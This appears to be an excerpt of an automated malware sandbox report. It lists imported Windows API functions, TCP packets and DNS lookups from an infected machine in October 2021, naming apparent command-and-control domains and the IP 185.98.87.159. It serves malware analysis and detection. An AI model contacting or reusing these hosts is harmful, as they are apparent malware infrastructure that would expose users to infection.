ExitProcess, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, GetModuleFileNameW, WriteFile, GetStdHandle, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapValidate, TlsSetValue, TlsFree, HeapCreate, GetACP, GetOEMCP, IsValidCodePage, LoadLibraryW, RtlUnwind, RaiseException, SetFilePointer, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, LCMapStringW, MultiByteToWideChar, GetStringTypeW, CreateFileW
USER32.dll	GetMenuInfo
GDI32.dll	GetBitmapBits
WINHTTP.dll	WinHttpReadData

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Paraguay
Divehi; Dhivehi; Maldivian	Maldives

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 15:29:50.306859016 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.359117985 CEST	80	49754	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.359253883 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.359400034 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.359416008 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.411180973 CEST	80	49754	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.438457012 CEST	80	49754	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.438703060 CEST	80	49754	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.438931942 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.440260887 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.492053986 CEST	80	49754	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.741231918 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.792943954 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.793108940 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.793318987 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.793404102 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.844820976 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.875746012 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.875952005 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.876276970 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.908721924 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.927512884 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.960303068 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.960567951 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.960743904 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.053893089 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.098901033 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.098938942 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.098965883 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099003077 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099031925 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099061012 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099080086 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.099087000 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099117041 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099143982 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099170923 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099236965 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.099287987 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.150829077 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.150866032 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.150892019 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.150918961 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.150948048 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.150950909 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.150974035 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151000023 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.151002884 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151031017 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151057005 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151082039 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.151082993 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151109934 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151130915 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.151137114 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151165009 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151189089 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151190042 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.151204109 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.151314974 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.151370049 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151396990 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151422977 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151451111 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151467085 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.151477098 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151504040 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.151504040 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.152344942 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.203151941 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.203177929 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.203196049 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.203213930 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.203358889 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.203397036 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.203797102 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.203814983 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.203834057 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.203851938 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.203913927 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.203993082 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204066038 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204085112 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204101086 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204118013 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204135895 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204153061 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204165936 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.204170942 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204204082 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204222918 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204231977 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.204262972 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204272032 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.204308987 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204325914 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204344034 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204380989 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.204380989 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.204416037 CEST	80	49757	185.98.87.159	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 29, 2021 15:29:50.174997091 CEST	192.168.2.7	8.8.8.8	0xe98a	Standard query (0)	xacokuo8.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.285088062 CEST	192.168.2.7	8.8.8.8	0xd6c4	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.451325893 CEST	192.168.2.7	8.8.8.8	0x2677	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.886739969 CEST	192.168.2.7	8.8.8.8	0x8a9c	Standard query (0)	privacytoolzforyou-6000.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:53.158706903 CEST	192.168.2.7	8.8.8.8	0xe878	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:53.325818062 CEST	192.168.2.7	8.8.8.8	0x686a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:06.256938934 CEST	192.168.2.7	8.8.8.8	0xd5c5	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:06.793525934 CEST	192.168.2.7	8.8.8.8	0x608e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:06.960382938 CEST	192.168.2.7	8.8.8.8	0x5460	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:07.594818115 CEST	192.168.2.7	8.8.8.8	0x60e0	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:07.762376070 CEST	192.168.2.7	8.8.8.8	0xa32e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:09.912467957 CEST	192.168.2.7	8.8.8.8	0x5cbc	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.077960014 CEST	192.168.2.7	8.8.8.8	0x8924	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.238271952 CEST	192.168.2.7	8.8.8.8	0x836e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.412193060 CEST	192.168.2.7	8.8.8.8	0xb607	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:12.336947918 CEST	192.168.2.7	8.8.8.8	0xba18	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:12.519800901 CEST	192.168.2.7	8.8.8.8	0xdc50	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.609247923 CEST	192.168.2.7	8.8.8.8	0xd79f	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:16.722347975 CEST	192.168.2.7	8.8.8.8	0xa5c1	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:16.891743898 CEST	192.168.2.7	8.8.8.8	0x1943	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:17.067492008 CEST	192.168.2.7	8.8.8.8	0x68ef	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.104005098 CEST	192.168.2.7	8.8.8.8	0x68ef	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.274410009 CEST	192.168.2.7	8.8.8.8	0xcf9c	Standard query (0)	iyc.jelikob.ru	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.561086893 CEST	192.168.2.7	8.8.8.8	0x6bb4	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.751533985 CEST	192.168.2.7	8.8.8.8	0xf899	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.974908113 CEST	192.168.2.7	8.8.8.8	0x263e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.146465063 CEST	192.168.2.7	8.8.8.8	0x9a05	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.165334940 CEST	192.168.2.7	8.8.8.8	0x572f	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.420629025 CEST	192.168.2.7	8.8.8.8	0x4e22	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.593507051 CEST	192.168.2.7	8.8.8.8	0x37b6	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.766551018 CEST	192.168.2.7	8.8.8.8	0x7b78	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.930042028 CEST	192.168.2.7	8.8.8.8	0x668f	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:22.109713078 CEST	192.168.2.7	8.8.8.8	0x1732	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.038505077 CEST	192.168.2.7	8.8.8.8	0x58ef	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.218506098 CEST	192.168.2.7	8.8.8.8	0x2ec1	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.408349037 CEST	192.168.2.7	8.8.8.8	0x45ae	Standard query (0)	sysaheu90.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.605974913 CEST	192.168.2.7	8.8.8.8	0xb18d	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:29.446518898 CEST	192.168.2.7	8.8.8.8	0x5c1d	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:29.817353010 CEST	192.168.2.7	8.8.8.8	0xbdb6	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:30.088576078 CEST	192.168.2.7	8.8.8.8	0x4911	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:40.996129990 CEST	192.168.2.7	8.8.8.8	0x8d4c	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:44.285001993 CEST	192.168.2.7	8.8.8.8	0xf71d	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:47.532489061 CEST	192.168.2.7	8.8.8.8	0x3d78	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:51.401598930 CEST	192.168.2.7	8.8.8.8	0x797d	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:54.618031025 CEST	192.168.2.7	8.8.8.8	0x1fa1	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:57.939132929 CEST	192.168.2.7	8.8.8.8	0x790c	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:58.008543968 CEST	192.168.2.7	8.8.8.8	0xcd8b	Standard query (0)	toptelete.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:00.902143955 CEST	192.168.2.7	8.8.8.8	0x641e	Standard query (0)	nusurtal4f.net	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.365901947 CEST	192.168.2.7	8.8.8.8	0xab88	Standard query (0)	znpst.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.565514088 CEST	192.168.2.7	8.8.8.8	0x9a5c	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.771392107 CEST	192.168.2.7	8.8.8.8	0xbc65	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:37.534353018 CEST	192.168.2.7	8.8.8.8	0x2dfd	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:45.136790037 CEST	192.168.2.7	8.8.8.8	0xe6e8	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:51.340296984 CEST	192.168.2.7	8.8.8.8	0x4e45	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:51.996310949 CEST	192.168.2.7	8.8.8.8	0x7e73	Standard query (0)	mas.to	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:54.816926956 CEST	192.168.2.7	8.8.8.8	0x193d	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:55.587068081 CEST	192.168.2.7	8.8.8.8	0xc53b	Standard query (0)	mas.to	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:58.992904902 CEST	192.168.2.7	8.8.8.8	0xa389	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:03.885279894 CEST	192.168.2.7	8.8.8.8	0x199	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:08.387541056 CEST	192.168.2.7	8.8.8.8	0x5645	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:09.032435894 CEST	192.168.2.7	8.8.8.8	0x434f	Standard query (0)	toptelete.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:24.432200909 CEST	192.168.2.7	8.8.8.8	0xd7f7	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:25.501245975 CEST	192.168.2.7	8.8.8.8	0x46f	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:32.181284904 CEST	192.168.2.7	8.8.8.8	0xc784	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 29, 2021 15:29:50.276427031 CEST	8.8.8.8	192.168.2.7	0xe98a	Name error (3)	xacokuo8.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.304280043 CEST	8.8.8.8	192.168.2.7	0xd6c4	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.739317894 CEST	8.8.8.8	192.168.2.7	0x2677	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.906488895 CEST	8.8.8.8	192.168.2.7	0x8a9c	No error (0)	privacytoolzforyou-6000.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:53.178097010 CEST	8.8.8.8	192.168.2.7	0xe878	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:53.343168974 CEST	8.8.8.8	192.168.2.7	0x686a	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:06.637346983 CEST	8.8.8.8	192.168.2.7	0xd5c5	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:06.812875986 CEST	8.8.8.8	192.168.2.7	0x608e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:07.443001032 CEST	8.8.8.8	192.168.2.7	0x5460	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:07.613675117 CEST	8.8.8.8	192.168.2.7	0x60e0	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:07.781887054 CEST	8.8.8.8	192.168.2.7	0xa32e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:09.931878090 CEST	8.8.8.8	192.168.2.7	0x5cbc	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.097567081 CEST	8.8.8.8	192.168.2.7	0x8924	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.257822990 CEST	8.8.8.8	192.168.2.7	0x836e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.431981087 CEST	8.8.8.8	192.168.2.7	0xb607	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:12.356302977 CEST	8.8.8.8	192.168.2.7	0xba18	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:12.537317038 CEST	8.8.8.8	192.168.2.7	0xdc50	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.634282112 CEST	8.8.8.8	192.168.2.7	0xd79f	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.634282112 CEST	8.8.8.8	192.168.2.7	0xd79f	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.634282112 CEST	8.8.8.8	192.168.2.7	0xd79f	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.634282112 CEST	8.8.8.8	192.168.2.7	0xd79f	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.634282112 CEST	8.8.8.8	192.168.2.7	0xd79f	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:16.741931915 CEST	8.8.8.8	192.168.2.7	0xa5c1	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:16.910960913 CEST	8.8.8.8	192.168.2.7	0x1943	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.121781111 CEST	8.8.8.8	192.168.2.7	0x68ef	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.293843031 CEST	8.8.8.8	192.168.2.7	0xcf9c	No error (0)	iyc.jelikob.ru		81.177.141.36	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.530072927 CEST	8.8.8.8	192.168.2.7	0x68ef	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.580732107 CEST	8.8.8.8	192.168.2.7	0x6bb4	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.771301985 CEST	8.8.8.8	192.168.2.7	0xf899	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.994231939 CEST	8.8.8.8	192.168.2.7	0x263e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.165941954 CEST	8.8.8.8	192.168.2.7	0x9a05	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.192508936 CEST	8.8.8.8	192.168.2.7	0x572f	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.192508936 CEST	8.8.8.8	192.168.2.7	0x572f	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.192508936 CEST	8.8.8.8	192.168.2.7	0x572f	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.192508936 CEST	8.8.8.8	192.168.2.7	0x572f	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.192508936 CEST	8.8.8.8	192.168.2.7	0x572f	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.440638065 CEST	8.8.8.8	192.168.2.7	0x4e22	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.612938881 CEST	8.8.8.8	192.168.2.7	0x37b6	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.784255981 CEST	8.8.8.8	192.168.2.7	0x7b78	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.949590921 CEST	8.8.8.8	192.168.2.7	0x668f	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:22.127304077 CEST	8.8.8.8	192.168.2.7	0x1732	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.058145046 CEST	8.8.8.8	192.168.2.7	0x58ef	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.237951994 CEST	8.8.8.8	192.168.2.7	0x2ec1	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.827104092 CEST	8.8.8.8	192.168.2.7	0x45ae	No error (0)	sysaheu90.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.627618074 CEST	8.8.8.8	192.168.2.7	0xb18d	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.627618074 CEST	8.8.8.8	192.168.2.7	0xb18d	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.627618074 CEST	8.8.8.8	192.168.2.7	0xb18d	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.627618074 CEST	8.8.8.8	192.168.2.7	0xb18d	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.627618074 CEST	8.8.8.8	192.168.2.7	0xb18d	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:29.465260983 CEST	8.8.8.8	192.168.2.7	0x5c1d	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:29.836539984 CEST	8.8.8.8	192.168.2.7	0xbdb6	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:30.108221054 CEST	8.8.8.8	192.168.2.7	0x4911	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:41.015875101 CEST	8.8.8.8	192.168.2.7	0x8d4c	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:44.305762053 CEST	8.8.8.8	192.168.2.7	0xf71d	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:47.552169085 CEST	8.8.8.8	192.168.2.7	0x3d78	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:51.502931118 CEST	8.8.8.8	192.168.2.7	0x797d	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
